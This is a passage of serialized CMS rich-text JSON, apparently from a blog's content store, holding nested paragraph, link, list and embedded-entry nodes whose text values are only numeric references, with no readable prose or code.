value":149207,"nodeType":865},{},[],{"data":151027,"content":151028,"nodeType":866},{},[151029,151032,151039],{"data":151030,"marks":151031,"value":149214,"nodeType":865},{},[],{"data":151033,"content":151034,"nodeType":889},{"uri":149217},[151035],{"data":151036,"marks":151037,"value":149223,"nodeType":865},{},[151038],{"type":943},{"data":151040,"marks":151041,"value":1615,"nodeType":865},{},[],{"data":151043,"content":151044,"nodeType":866},{},[151045],{"data":151046,"marks":151047,"value":149233,"nodeType":865},{},[],{"data":151049,"content":151050,"nodeType":866},{},[151051],{"data":151052,"marks":151053,"value":149240,"nodeType":865},{},[],{"data":151055,"content":151056,"nodeType":972},{},[],{"data":151058,"content":151059,"nodeType":981},{},[151060],{"data":151061,"marks":151062,"value":149251,"nodeType":865},{},[151063],{"type":926},{"data":151065,"content":151066,"nodeType":866},{},[151067],{"data":151068,"marks":151069,"value":149258,"nodeType":865},{},[],{"data":151071,"content":151072,"nodeType":866},{},[151073],{"data":151074,"marks":151075,"value":149265,"nodeType":865},{},[],{"data":151077,"content":151078,"nodeType":866},{},[151079],{"data":151080,"marks":151081,"value":149272,"nodeType":865},{},[],{"data":151083,"content":151086,"nodeType":912},{"target":151084},{"sys":151085},{"id":149277,"type":909,"linkType":910},[],{"data":151088,"content":151089,"nodeType":866},{},[151090],{"data":151091,"marks":151092,"value":149285,"nodeType":865},{},[],{"data":151094,"content":151095,"nodeType":972},{},[],{"data":151097,"content":151098,"nodeType":981},{},[151099],{"data":151100,"marks":151101,"value":149296,"nodeType":865},{},[151102],{"type":926},{"data":151104,"content":151105,"nodeType":866},{},[151106],{"data":151107,"marks":151108,"value":149303,"nodeType":865},{},[],{"data":151110,"content":151111,"nodeType":866},{},[151112],{"data":151113,"marks":151114,"value":149310,"nodeType":865},{},[],{"data":151116,"content":151117,"nodeType":866},{},[151118],{"data":151119,"marks":151120,"value":149317,"nodeType":865},{},[],{"data":151122,"content":151123,"nodeType":866},{},[151124],{"data":151125,"marks":151126,"value":149324,"nodeType":865},{},[],{"data":151128,"content":151131,"nodeType":912},{"target":151129},{"sys":151130},{"id":149329,"type":909,"linkType":910},[],{"data":151133,"content":151134,"nodeType":866},{},[151135],{"data":151136,"marks":151137,"value":149337,"nodeType":865},{},[],{"data":151139,"content":151140,"nodeType":972},{},[],{"data":151142,"content":151143,"nodeType":981},{},[151144],{"data":151145,"marks":151146,"value":149348,"nodeType":865},{},[151147],{"type":926},{"data":151149,"content":151150,"nodeType":1317},{},[151151],{"data":151152,"marks":151153,"value":149356,"nodeType":865},{},[151154],{"type":926},{"data":151156,"content":151157,"nodeType":866},{},[151158],{"data":151159,"marks":151160,"value":149363,"nodeType":865},{},[],{"data":151162,"content":151163,"nodeType":866},{},[151164],{"data":151165,"marks":151166,"value":149370,"nodeType":865},{},[],{"data":151168,"content":151169,"nodeType":866},{},[151170],{"data":151171,"marks":151172,"value":149377,"nodeType":865},{},[],{"data":151174,"content":151175,"nodeType":866},{},[151176,151179,151186],{"data":151177,"marks":151178,"value":149384,"nodeType":865},{},[],{"data":151180,"content":151181,"nodeType":889},{"uri":139406},[151182],{"data":151183,"marks":151184,"value":149392,"nodeType":865},{},[151185],{"type":943},{"data":151187,"marks":151188,"value":149396,"nodeType":865},{},[],{"data":151190,"content":151191,"nodeType":1317},{},[151192],{"data":151193,"marks":151194,"value":149404,"nodeType":865},{},[151195],{"type":926},{"data":151197,"content":151198,"nodeType":866},{},[151199],{"data":151200,"marks":151201,"value":149411,"nodeType":865},{},[],{"data":151203,"content":151204,"nodeType":866},{},[151205],{"data":151206,"marks":151207,"value":149418,"nodeType":865},{},[],{"data":151209,"content":151210,"nodeType":866},{},[151211],{"data":151212,"marks":151213,"value":149425,"nodeType":865},{},[],{"data":151215,"content":151216,"nodeType":866},{},[151217],{"data":151218,"marks":151219,"value":149432,"nodeType":865},{},[],{"data":151221,"content":151222,"nodeType":1317},{},[151223],{"data":151224,"marks":151225,"value":149440,"nodeType":865},{},[151226],{"type":926},{"data":151228,"content":151229,"nodeType":866},{},[151230],{"data":151231,"marks":151232,"value":149447,"nodeType":865},{},[],{"data":151234,"content":151235,"nodeType":866},{},[151236],{"data":151237,"marks":151238,"value":149454,"nodeType":865},{},[],{"data":151240,"content":151243,"nodeType":912},{"target":151241},{"sys":151242},{"id":149459,"type":909,"linkType":910},[],{"data":151245,"content":151246,"nodeType":972},{},[],{"data":151248,"content":151249,"nodeType":981},{},[151250],{"data":151251,"marks":151252,"value":149471,"nodeType":865},{},[151253],{"type":926},{"data":151255,"content":151256,"nodeType":866},{},[151257],{"data":151258,"marks":151259,"value":149478,"nodeType":865},{},[],{"data":151261,"content":151262,"nodeType":866},{},[151263],{"data":151264,"marks":151265,"value":149485,"nodeType":865},{},[],{"data":151267,"content":151268,"nodeType":866},{},[151269],{"data":151270,"marks":151271,"value":149492,"nodeType":865},{},[],{"data":151273,"content":151274,"nodeType":866},{},[151275],{"data":151276,"marks":151277,"value":149499,"nodeType":865},{},[],{"data":151279,"content":151280,"nodeType":866},{},[151281],{"data":151282,"marks":151283,"value":149506,"nodeType":865},{},[],{"data":151285,"content":151286,"nodeType":972},{},[],{"data":151288,"content":151289,"nodeType":981},{},[151290],{"data":151291,"marks":151292,"value":149517,"nodeType":865},{},[151293],{"type":926},{"data":151295,"content":151296,"nodeType":866},{},[151297],{"data":151298,"marks":151299,"value":149524,"nodeType":865},{},[],{"data":151301,"content":151302,"nodeType":866},{},[151303],{"data":151304,"marks":151305,"value":149531,"nodeType":865},{},[],{"data":151307,"content":151308,"nodeType":866},{},[151309],{"data":151310,"marks":151311,"value":149538,"nodeType":865},{},[],{"data":151313,"content":151314,"nodeType":866},{},[151315],{"data":151316,"marks":151317,"value":149545,"nodeType":865},{},[],{"data":151319,"content":151320,"nodeType":866},{},[151321],{"data":151322,"marks":151323,"value":149552,"nodeType":865},{},[],{"data":151325,"content":151326,"nodeType":1616},{},[151327,151346,151365,151384,151403],{"data":151328,"content":151329,"nodeType":1570},{},[151330],{"data":151331,"content":151332,"nodeType":866},{},[151333,151336,151343],{"data":151334,"marks":151335,"value":149565,"nodeType":865},{},[],{"data":151337,"content":151338,"nodeType":889},{"uri":4147},[151339],{"data":151340,"marks":151341,"value":53721,"nodeType":865},{},[151342],{"type":943},{"data":151344,"marks":151345,"value":46245,"nodeType":865},{},[],{"data":151347,"content":151348,"nodeType":1570},{},[151349],{"data":151350,"content":151351,"nodeType":866},{},[151352,151355,151362],{"data":151353,"marks":151354,"value":149585,"nodeType":865},{},[],{"data":151356,"content":151357,"nodeType":889},{"uri":149588},[151358],{"data":151359,"marks":151360,"value":149594,"nodeType":865},{},[151361],{"type":943},{"data":151363,"marks":151364,"value":46245,"nodeType":865},{},[],{"data":151366,"content":151367,"nodeType":1570},{},[151368],{"data":151369,"content":151370,"nodeType":866},{},[151371,151374,151381],{"data":151372,"marks":151373,"value":149607,"nodeType":865},{},[],{"data":151375,"content":151376,"nodeType":889},{"uri":149610},[151377],{"data":151378,"marks":151379,"value":149616,"nodeType":865},{},[151380],{"type":943},{"data":151382,"marks":151383,"value":46245,"nodeType":865},{},[],{"data":151385,"content":151386,"nodeType":1570},{},[151387],{"data":151388,"content":151389,"nodeType":866},{},[151390,151393,151400],{"data":151391,"marks":151392,"value":149629,"nodeType":865},{},[],{"data":151394,"content":151395,"nodeType":889},{"uri":131785},[151396],{"data":151397,"marks":151398,"value":8641,"nodeType":865},{},[151399],{"type":943},{"data":151401,"marks":151402,"value":46245,"nodeType":865},{},[],{"data":151404,"content":151405,"nodeType":1570},{},[151406],{"data":151407,"content":151408,"nodeType":866},{},[151409,151412,151419],{"data":151410,"marks":151411,"value":149649,"nodeType":865},{},[],{"data":151413,"content":151414,"nodeType":889},{"uri":149652},[151415],{"data":151416,"marks":151417,"value":149658,"nodeType":865},{},[151418],{"type":943},{"data":151420,"marks":151421,"value":46245,"nodeType":865},{},[],{"data":151423,"content":151424,"nodeType":866},{},[151425,151428,151432],{"data":151426,"marks":151427,"value":149668,"nodeType":865},{},[],{"data":151429,"marks":151430,"value":149673,"nodeType":865},{},[151431],{"type":926},{"data":151433,"marks":151434,"value":149677,"nodeType":865},{},[],{"data":151436,"content":151437,"nodeType":866},{},[151438],{"data":151439,"marks":151440,"value":149684,"nodeType":865},{},[],{"data":151442,"content":151445,"nodeType":912},{"target":151443},{"sys":151444},{"id":149689,"type":909,"linkType":910},[],{"data":151447,"content":151448,"nodeType":972},{},[],{"data":151450,"content":151451,"nodeType":981},{},[151452],{"data":151453,"marks":151454,"value":149701,"nodeType":865},{},[151455],{"type":926},{"data":151457,"content":151458,"nodeType":866},{},[151459],{"data":151460,"marks":151461,"value":149708,"nodeType":865},{},[],{"data":151463,"content":151464,"nodeType":1616},{},[151465,151494,151513],{"data":151466,"content":151467,"nodeType":1570},{},[151468],{"data":151469,"content":151470,"nodeType":866},{},[151471,151474,151481,151484,151491],{"data":151472,"marks":151473,"value":21,"nodeType":865},{},[],{"data":151475,"content":151476,"nodeType":889},{"uri":13526},[151477],{"data":151478,"marks":151479,"value":149728,"nodeType":865},{},[151480],{"type":943},{"data":151482,"marks":151483,"value":149732,"nodeType":865},{},[],{"data":151485,"content":151486,"nodeType":889},{"uri":131722},[151487],{"data":151488,"marks":151489,"value":149740,"nodeType":865},{},[151490],{"type":943},{"data":151492,"marks":151493,"value":149744,"nodeType":865},{},[],{"data":151495,"content":151496,"nodeType":1570},{},[151497],{"data":151498,"content":151499,"nodeType":866},{},[151500,151503,151510],{"data":151501,"marks":151502,"value":21,"nodeType":865},{},[],{"data":151504,"content":151505,"nodeType":889},{"uri":62386},[151506],{"data":151507,"marks":151508,"value":149761,"nodeType":865},{},[151509],{"type":943},{"data":151511,"marks":151512,"value":149765,"nodeType":865},{},[],{"data":151514,"content":151515,"nodeType":1570},{},[151516],{"data":151517,"content":151518,"nodeType":866},{},[151519],{"data":151520,"marks":151521,"value":149775,"nodeType":865},{},[],{"data":151523,"content":151524,"nodeType":866},{},[151525],{"data":151526,"marks":151527,"value":149782,"nodeType":865},{},[],{"data":151529,"content":151530,"nodeType":866},{},[151531,151534,151541],{"data":151532,"marks":151533,"value":149789,"nodeType":865},{},[],{"data":151535,"content":151536,"nodeType":889},{"uri":1372},[151537],{"data":151538,"marks":151539,"value":149797,"nodeType":865},{},[151540],{"type":943},{"data":151542,"marks":151543,"value":1615,"nodeType":865},{},[],{"items":151545},[151546],{"sys":151547,"name":7796},{"id":7795},{"items":151549},[151550],{"fullName":7800,"firstName":7801,"jobTitle":7802,"profilePicture":151551},{"url":7804},{"__typename":1429,"sys":151553,"content":151554,"title":62409,"synopsis":62410,"hashTags":59,"publishedDate":62411,"slug":62412,"tagsCollection":152244,"authorsCollection":152248},{"id":61617},{"json":151555},{"data":151556,"content":151557,"nodeType":1382},{},[151558,151563,151579,151585,151591,151596,151599,151606,151612,151628,151638,151644,151650,151656,151740,151743,151750,151825,151830,151833,151840,151847,151853,151859,151866,151882,151888,151895,151901,151907,151914,151920,151926,151942,151947,151950,151957,151964,151970,152059,152065,152072,152078,152084,152089,152096,152102,152108,152114,152121,152127,152133,152139,152145,152150,152153,152160,152166,152196,152202,152217,152233,152238],{"data":151559,"content":151562,"nodeType":912},{"target":151560},{"sys":151561},{"id":61626,"type":909,"linkType":910},[],{"data":151564,"content":151565,"nodeType":866},{},[151566,151569,151576],{"data":151567,"marks":151568,"value":61634,"nodeType":865},{},[],{"data":151570,"content":151571,"nodeType":889},{"uri":61637},[151572],{"data":151573,"marks":151574,"value":61643,"nodeType":865},{},[151575],{"type":943},{"data":151577,"marks":151578,"value":61647,"nodeType":865},{},[],{"data":151580,"content":151581,"nodeType":866},{},[151582],{"data":151583,"marks":151584,"value":61654,"nodeType":865},{},[],{"data":151586,"content":151587,"nodeType":866},{},[151588],{"data":151589,"marks":151590,"value":61661,"nodeType":865},{},[],{"data":151592,"content":151595,"nodeType":912},{"target":151593},{"sys":151594},{"id":61666,"type":909,"linkType":910},[],{"data":151597,"content":151598,"nodeType":972},{},[],{"data":151600,"content":151601,"nodeType":981},{},[151602],{"data":151603,"marks":151604,"value":61678,"nodeType":865},{},[151605],{"type":926},{"data":151607,"content":151608,"nodeType":866},{},[151609],{"data":151610,"marks":151611,"value":61685,"nodeType":865},{},[],{"data":151613,"content":151614,"nodeType":866},{},[151615,151618,151625],{"data":151616,"marks":151617,"value":61692,"nodeType":865},{},[],{"data":151619,"content":151620,"nodeType":889},{"uri":15841},[151621],{"data":151622,"marks":151623,"value":61700,"nodeType":865},{},[151624],{"type":943},{"data":151626,"marks":151627,"value":14251,"nodeType":865},{},[],{"data":151629,"content":151630,"nodeType":7584},{},[151631],{"data":151632,"content":151633,"nodeType":866},{},[151634],{"data":151635,"marks":151636,"value":61714,"nodeType":865},{},[151637],{"type":926},{"data":151639,"content":151640,"nodeType":866},{},[151641],{"data":151642,"marks":151643,"value":61721,"nodeType":865},{},[],{"data":151645,"content":151646,"nodeType":866},{},[151647],{"data":151648,"marks":151649,"value":61728,"nodeType":865},{},[],{"data":151651,"content":151652,"nodeType":866},{},[151653],{"data":151654,"marks":151655,"value":61735,"nodeType":865},{},[],{"data":151657,"content":151658,"nodeType":1616},{},[151659,151668,151677,151686,151695,151704,151713,151722,151731],{"data":151660,"content":151661,"nodeType":1570},{},[151662],{"data":151663,"content":151664,"nodeType":866},{},[151665],{"data":151666,"marks":151667,"value":61748,"nodeType":865},{},[],{"data":151669,"content":151670,"nodeType":1570},{},[151671],{"data":151672,"content":151673,"nodeType":866},{},[151674],{"data":151675,"marks":151676,"value":61758,"nodeType":865},{},[],{"data":151678,"content":151679,"nodeType":1570},{},[151680],{"data":151681,"content":151682,"nodeType":866},{},[151683],{"data":151684,"marks":151685,"value":61768,"nodeType":865},{},[],{"data":151687,"content":151688,"nodeType":1570},{},[151689],{"data":151690,"content":151691,"nodeType":866},{},[151692],{"data":151693,"marks":151694,"value":61778,"nodeType":865},{},[],{"data":151696,"content":151697,"nodeType":1570},{},[151698],{"data":151699,"content":151700,"nodeType":866},{},[151701],{"data":151702,"marks":151703,"value":61788,"nodeType":865},{},[],{"data":151705,"content":151706,"nodeType":1570},{},[151707],{"data":151708,"content":151709,"nodeType":866},{},[151710],{"data":151711,"marks":151712,"value":61798,"nodeType":865},{},[],{"data":151714,"content":151715,"nodeType":1570},{},[151716],{"data":151717,"content":151718,"nodeType":866},{},[151719],{"data":151720,"marks":151721,"value":61808,"nodeType":865},{},[],{"data":151723,"content":151724,"nodeType":1570},{},[151725],{"data":151726,"content":151727,"nodeType":866},{},[151728],{"data":151729,"marks":151730,"value":61818,"nodeType":865},{},[],{"data":151732,"content":151733,"nodeType":1570},{},[151734],{"data":151735,"content":151736,"nodeType":866},{},[151737],{"data":151738,"marks":151739,"value":61828,"nodeType":865},{},[],{"data":151741,"content":151742,"nodeType":972},{},[],{"data":151744,"content":151745,"nodeType":981},{},[151746],{"data":151747,"marks":151748,"value":61839,"nodeType":865},{},[151749],{"type":926},{"data":151751,"content":151752,"nodeType":1616},{},[151753,151762,151771,151780,151789,151798,151807,151816],{"data":151754,"content":151755,"nodeType":1570},{},[151756],{"data":151757,"content":151758,"nodeType":866},{},[151759],{"data":151760,"marks":151761,"value":61852,"nodeType":865},{},[],{"data":151763,"content":151764,"nodeType":1570},{},[151765],{"data":151766,"content":151767,"nodeType":866},{},[151768],{"data":151769,"marks":151770,"value":61862,"nodeType":865},{},[],{"data":151772,"content":151773,"nodeType":1570},{},[151774],{"data":151775,"content":151776,"nodeType":866},{},[151777],{"data":151778,"marks":151779,"value":61872,"nodeType":865},{},[],{"data":151781,"content":151782,"nodeType":1570},{},[151783],{"data":151784,"content":151785,"nodeType":866},{},[151786],{"data":151787,"marks":151788,"value":61882,"nodeType":865},{},[],{"data":151790,"content":151791,"nodeType":1570},{},[151792],{"data":151793,"content":151794,"nodeType":866},{},[151795],{"data":151796,"marks":151797,"value":61892,"nodeType":865},{},[],{"data":151799,"content":151800,"nodeType":1570},{},[151801],{"data":151802,"content":151803,"nodeType":866},{},[151804],{"data":151805,"marks":151806,"value":61902,"nodeType":865},{},[],{"data":151808,"content":151809,"nodeType":1570},{},[151810],{"data":151811,"content":151812,"nodeType":866},{},[151813],{"data":151814,"marks":151815,"value":61912,"nodeType":865},{},[],{"data":151817,"content":151818,"nodeType":1570},{},[151819],{"data":151820,"content":151821,"nodeType":866},{},[151822],{"data":151823,"marks":151824,"value":61922,"nodeType":865},{},[],{"data":151826,"content":151829,"nodeType":912},{"target":151827},{"sys":151828},{"id":61927,"type":909,"linkType":910},[],{"data":151831,"content":151832,"nodeType":972},{},[],{"data":151834,"content":151835,"nodeType":981},{},[151836],{"data":151837,"marks":151838,"value":61939,"nodeType":865},{},[151839],{"type":926},{"data":151841,"content":151842,"nodeType":1317},{},[151843],{"data":151844,"marks":151845,"value":61947,"nodeType":865},{},[151846],{"type":926},{"data":151848,"content":151849,"nodeType":866},{},[151850],{"data":151851,"marks":151852,"value":61954,"nodeType":865},{},[],{"data":151854,"content":151855,"nodeType":866},{},[151856],{"data":151857,"marks":151858,"value":61961,"nodeType":865},{},[],{"data":151860,"content":151861,"nodeType":1317},{},[151862],{"data":151863,"marks":151864,"value":61969,"nodeType":865},{},[151865],{"type":926},{"data":151867,"content":151868,"nodeType":866},{},[151869,151872,151879],{"data":151870,"marks":151871,"value":61976,"nodeType":865},{},[],{"data":151873,"content":151874,"nodeType":889},{"uri":6710},[151875],{"data":151876,"marks":151877,"value":6715,"nodeType":865},{},[151878],{"type":943},{"data":151880,"marks":151881,"value":14251,"nodeType":865},{},[],{"data":151883,"content":151884,"nodeType":866},{},[151885],{"data":151886,"marks":151887,"value":61993,"nodeType":865},{},[],{"data":151889,"content":151890,"nodeType":1317},{},[151891],{"data":151892,"marks":151893,"value":62001,"nodeType":865},{},[151894],{"type":926},{"data":151896,"content":151897,"nodeType":866},{},[151898],{"data":151899,"marks":151900,"value":62008,"nodeType":865},{},[],{"data":151902,"content":151903,"nodeType":866},{},[151904],{"data":151905,"marks":151906,"value":62015,"nodeType":865},{},[],{"data":151908,"content":151909,"nodeType":1317},{},[151910],{"data":151911,"marks":151912,"value":62023,"nodeType":865},{},[151913],{"type":926},{"data":151915,"content":151916,"nodeType":866},{},[151917],{"data":151918,"marks":151919,"value":62030,"nodeType":865},{},[],{"data":151921,"content":151922,"nodeType":866},{},[151923],{"data":151924,"marks":151925,"value":62037,"nodeType":865},{},[],{"data":151927,"content":151928,"nodeType":866},{},[151929,151932,151939],{"data":151930,"marks":151931,"value":62044,"nodeType":865},{},[],{"data":151933,"content":151934,"nodeType":889},{"uri":62047},[151935],{"data":151936,"marks":151937,"value":62053,"nodeType":865},{},[151938],{"type":943},{"data":151940,"marks":151941,"value":62057,"nodeType":865},{},[],{"data":151943,"content":151946,"nodeType":912},{"target":151944},{"sys":151945},{"id":62062,"type":909,"linkType":910},[],{"data":151948,"content":151949,"nodeType":972},{},[],{"data":151951,"content":151952,"nodeType":981},{},[151953],{"data":151954,"marks":151955,"value":62074,"nodeType":865},{},[151956],{"type":926},{"data":151958,"content":151959,"nodeType":1317},{},[151960],{"data":151961,"marks":151962,"value":62082,"nodeType":865},{},[151963],{"type":926},{"data":151965,"content":151966,"nodeType":866},{},[151967],{"data":151968,"marks":151969,"value":62089,"nodeType":865},{},[],{"data":151971,"content":151972,"nodeType":1616},{},[151973,151992,152011,152040],{"data":151974,"content":151975,"nodeType":1570},{},[151976],{"data":151977,"content":151978,"nodeType":866},{},[151979,151982,151989],{"data":151980,"marks":151981,"value":62102,"nodeType":865},{},[],{"data":151983,"content":151984,"nodeType":889},{"uri":62105},[151985],{"data":151986,"marks":151987,"value":62111,"nodeType":865},{},[151988],{"type":943},{"data":151990,"marks":151991,"value":62115,"nodeType":865},{},[],{"data":151993,"content":151994,"nodeType":1570},{},[151995],{"data":151996,"content":151997,"nodeType":866},{},[151998,152001,152008],{"data":151999,"marks":152000,"value":62125,"nodeType":865},{},[],{"data":152002,"content":152003,"nodeType":889},{"uri":6698},[152004],{"data":152005,"marks":152006,"value":62133,"nodeType":865},{},[152007],{"type":943},{"data":152009,"marks":152010,"value":1615,"nodeType":865},{},[],{"data":152012,"content":152013,"nodeType":1570},{},[152014],{"data":152015,"content":152016,"nodeType":866},{},[152017,152020,152027,152030,152037],{"data":152018,"marks":152019,"value":62146,"nodeType":865},{},[],{"data":152021,"content":152022,"nodeType":889},{"uri":6710},[152023],{"data":152024,"marks":152025,"value":62154,"nodeType":865},{},[152026],{"type":943},{"data":152028,"marks":152029,"value":62158,"nodeType":865},{},[],{"data":152031,"content":152032,"nodeType":889},{"uri":62161},[152033],{"data":152034,"marks":152035,"value":62167,"nodeType":865},{},[152036],{"type":943},{"data":152038,"marks":152039,"value":62171,"nodeType":865},{},[],{"data":152041,"content":152042,"nodeType":1570},{},[152043],{"data":152044,"content":152045,"nodeType":866},{},[152046,152049,152056],{"data":152047,"marks":152048,"value":62181,"nodeType":865},{},[],{"data":152050,"content":152051,"nodeType":889},{"uri":6698},[152052],{"data":152053,"marks":152054,"value":62189,"nodeType":865},{},[152055],{"type":943},{"data":152057,"marks":152058,"value":62193,"nodeType":865},{},[],{"data":152060,"content":152061,"nodeType":866},{},[152062],{"data":152063,"marks":152064,"value":62200,"nodeType":865},{},[],{"data":152066,"content":152067,"nodeType":1317},{},[152068],{"data":152069,"marks":152070,"value":62208,"nodeType":865},{},[152071],{"type":926},{"data":152073,"content":152074,"nodeType":866},{},[152075],{"data":152076,"marks":152077,"value":62215,"nodeType":865},{},[],{"data":152079,"content":152080,"nodeType":866},{},[152081],{"data":152082,"marks":152083,"value":62222,"nodeType":865},{},[],{"data":152085,"content":152088,"nodeType":912},{"target":152086},{"sys":152087},{"id":62227,"type":909,"linkType":910},[],{"data":152090,"content":152091,"nodeType":1317},{},[152092],{"data":152093,"marks":152094,"value":62236,"nodeType":865},{},[152095],{"type":926},{"data":152097,"content":152098,"nodeType":866},{},[152099],{"data":152100,"marks":152101,"value":62243,"nodeType":865},{},[],{"data":152103,"content":152104,"nodeType":866},{},[152105],{"data":152106,"marks":152107,"value":62250,"nodeType":865},{},[],{"data":152109,"content":152110,"nodeType":866},{},[152111],{"data":152112,"marks":152113,"value":62257,"nodeType":865},{},[],{"data":152115,"content":152116,"nodeType":1317},{},[152117],{"data":152118,"marks":152119,"value":62265,"nodeType":865},{},[152120],{"type":926},{"data":152122,"content":152123,"nodeType":866},{},[152124],{"data":152125,"marks":152126,"value":62272,"nodeType":865},{},[],{"data":152128,"content":152129,"nodeType":866},{},[152130],{"data":152131,"marks":152132,"value":62279,"nodeType":865},{},[],{"data":152134,"content":152135,"nodeType":866},{},[152136],{"data":152137,"marks":152138,"value":62286,"nodeType":865},{},[],{"data":152140,"content":152141,"nodeType":866},{},[152142],{"data":152143,"marks":152144,"value":62293,"nodeType":865},{},[],{"data":152146,"content":152149,"nodeType":912},{"target":152147},{"sys":152148},{"id":62298,"type":909,"linkType":910},[],{"data":152151,"content":152152,"nodeType":972},{},[],{"data":152154,"content":152155,"nodeType":981},{},[152156],{"data":152157,"marks":152158,"value":62310,"nodeType":865},{},[152159],{"type":926},{"data":152161,"content":152162,"nodeType":866},{},[152163],{"data":152164,"marks":152165,"value":62317,"nodeType":865},{},[],{"data":152167,"content":152168,"nodeType":1616},{},[152169,152178,152187],{"data":152170,"content":152171,"nodeType":1570},{},[152172],{"data":152173,"content":152174,"nodeType":866},{},[152175],{"data":152176,"marks":152177,"value":62330,"nodeType":865},{},[],{"data":152179,"content":152180,"nodeType":1570},{},[152181],{"data":152182,"content":152183,"nodeType":866},{},[152184],{"data":152185,"marks":152186,"value":62340,"nodeType":865},{},[],{"data":152188,"content":152189,"nodeType":1570},{},[152190],{"data":152191,"content":152192,"nodeType":866},{},[152193],{"data":152194,"marks":152195,"value":62350,"nodeType":865},{},[],{"data":152197,"content":152198,"nodeType":866},{},[152199],{"data":152200,"marks":152201,"value":62357,"nodeType":865},{},[],{"data":152203,"content":152204,"nodeType":866},{},[152205,152208,152214],{"data":152206,"marks":152207,"value":62364,"nodeType":865},{},[],{"data":152209,"content":152210,"nodeType":889},{"uri":62367},[152211],{"data":152212,"marks":152213,"value":62372,"nodeType":865},{},[],{"data":152215,"marks":152216,"value":62376,"nodeType":865},{},[],{"data":152218,"content":152219,"nodeType":866},{},[152220,152223,152230],{"data":152221,"marks":152222,"value":62383,"nodeType":865},{},[],{"data":152224,"content":152225,"nodeType":889},{"uri":62386},[152226],{"data":152227,"marks":152228,"value":62392,"nodeType":865},{},[152229],{"type":943},{"data":152231,"marks":152232,"value":62396,"nodeType":865},{},[],{"data":152234,"content":152237,"nodeType":912},{"target":152235},{"sys":152236},{"id":62401,"type":909,"linkType":910},[],{"data":152239,"content":152240,"nodeType":866},{},[152241],{"data":152242,"marks":152243,"value":21,"nodeType":865},{},[],{"items":152245},[152246],{"sys":152247,"name":7796},{"id":7795},{"items":152249},[152250],{"fullName":7800,"firstName":7801,"jobTitle":7802,"profilePicture":152251},{"url":7804},{"__typename":1429,"sys":152253,"content":152254,"title":132583,"synopsis":132584,"hashTags":59,"publishedDate":132585,"slug":132586,"tagsCollection":153257,"authorsCollection":153263},{"id":131415},{"json":152255},{"data":152256,"content":152257,"nodeType":1382},{},[152258,152264,152311,152317,152320,152326,152332,152358,152368,152371,152377,152387,152393,152409,152414,152430,152436,152446,152463,152479,152485,152501,152506,152522,152525,152531,152538,152544,152560,152576,152582,152598,152604,152611,152632,152638,152654,152671,152676,152682,152698,152701,152707,152723,152739,152745,152793,152799,152802,152808,152815,152831,152847,152853,152860,152866,152883,152889,152895,152900,152905,152908,152914,152921,152927,152943,152952,152968,152974,152980,152989,152996,153002,153019,153024,153027,153033,153039,153045,153106,153112,153118,153124,153131,153148,153154,153159,153169,153186,153192,153199,153216,153222,153228,153233,153236,153242],{"data":152259,"content":152260,"nodeType":866},{},[152261],{"data":152262,"marks":152263,"value":131426,"nodeType":865},{},[],{"data":152265,"content":152266,"nodeType":1616},{},[152267,152283,152292],{"data":152268,"content":152269,"nodeType":1570},{},[152270],{"data":152271,"content":152272,"nodeType":866},{},[152273,152276,152280],{"data":152274,"marks":152275,"value":131439,"nodeType":865},{},[],{"data":152277,"marks":152278,"value":131444,"nodeType":865},{},[152279],{"type":898},{"data":152281,"marks":152282,"value":131448,"nodeType":865},{},[],{"data":152284,"content":152285,"nodeType":1570},{},[152286],{"data":152287,"content":152288,"nodeType":866},{},[152289],{"data":152290,"marks":152291,"value":131458,"nodeType":865},{},[],{"data":152293,"content":152294,"nodeType":1570},{},[152295],{"data":152296,"content":152297,"nodeType":866},{},[152298,152301,152308],{"data":152299,"marks":152300,"value":131468,"nodeType":865},{},[],{"data":152302,"content":152303,"nodeType":889},{"uri":131471},[152304],{"data":152305,"marks":152306,"value":131477,"nodeType":865},{},[152307],{"type":943},{"data":152309,"marks":152310,"value":131481,"nodeType":865},{},[],{"data":152312,"content":152313,"nodeType":866},{},[152314],{"data":152315,"marks":152316,"value":131488,"nodeType":865},{},[],{"data":152318,"content":152319,"nodeType":972},{},[],{"data":152321,"content":152322,"nodeType":981},{},[152323],{"data":152324,"marks":152325,"value":131498,"nodeType":865},{},[],{"data":152327,"content":152328,"nodeType":866},{},[152329],{"data":152330,"marks":152331,"value":131505,"nodeType":865},{},[],{"data":152333,"content":152334,"nodeType":866},{},[152335,152338,152345,152348,152355],{"data":152336,"marks":152337,"value":131512,"nodeType":865},{},[],{"data":152339,"content":152340,"nodeType":889},{"uri":131515},[152341],{"data":152342,"marks":152343,"value":131521,"nodeType":865},{},[152344],{"type":943},{"data":152346,"marks":152347,"value":131525,"nodeType":865},{},[],{"data":152349,"content":152350,"nodeType":889},{"uri":131528},[152351],{"data":152352,"marks":152353,"value":131534,"nodeType":865},{},[152354],{"type":943},{"data":152356,"marks":152357,"value":131538,"nodeType":865},{},[],{"data":152359,"content":152360,"nodeType":866},{},[152361,152364],{"data":152362,"marks":152363,"value":131545,"nodeType":865},{},[],{"data":152365,"marks":152366,"value":131550,"nodeType":865},{},[152367],{"type":926},{"data":152369,"content":152370,"nodeType":972},{},[],{"data":152372,"content":152373,"nodeType":981},{},[152374],{"data":152375,"marks":152376,"value":131560,"nodeType":865},{},[],{"data":152378,"content":152379,"nodeType":1317},{},[152380,152384],{"data":152381,"marks":152382,"value":131568,"nodeType":865},{},[152383],{"type":926},{"data":152385,"marks":152386,"value":2688,"nodeType":865},{},[],{"data":152388,"content":152389,"nodeType":866},{},[152390],{"data":152391,"marks":152392,"value":131578,"nodeType":865},{},[],{"data":152394,"content":152395,"nodeType":866},{},[152396,152399,152406],{"data":152397,"marks":152398,"value":131585,"nodeType":865},{},[],{"data":152400,"content":152401,"nodeType":889},{"uri":82201},[152402],{"data":152403,"marks":152404,"value":131593,"nodeType":865},{},[152405],{"type":943},{"data":152407,"marks":152408,"value":131597,"nodeType":865},{},[],{"data":152410,"content":152413,"nodeType":912},{"target":152411},{"sys":152412},{"id":131602,"type":909,"linkType":910},[],{"data":152415,"content":152416,"nodeType":866},{},[152417,152420,152427],{"data":152418,"marks":152419,"value":131610,"nodeType":865},{},[],{"data":152421,"content":152422,"nodeType":889},{"uri":131613},[152423],{"data":152424,"marks":152425,"value":131619,"nodeType":865},{},[152426],{"type":943},{"data":152428,"marks":152429,"value":131623,"nodeType":865},{},[],{"data":152431,"content":152432,"nodeType":866},{},[152433],{"data":152434,"marks":152435,"value":131630,"nodeType":865},{},[],{"data":152437,"content":152438,"nodeType":1317},{},[152439,152443],{"data":152440,"marks":152441,"value":79801,"nodeType":865},{},[152442],{"type":926},{"data":152444,"marks":152445,"value":2688,"nodeType":865},{},[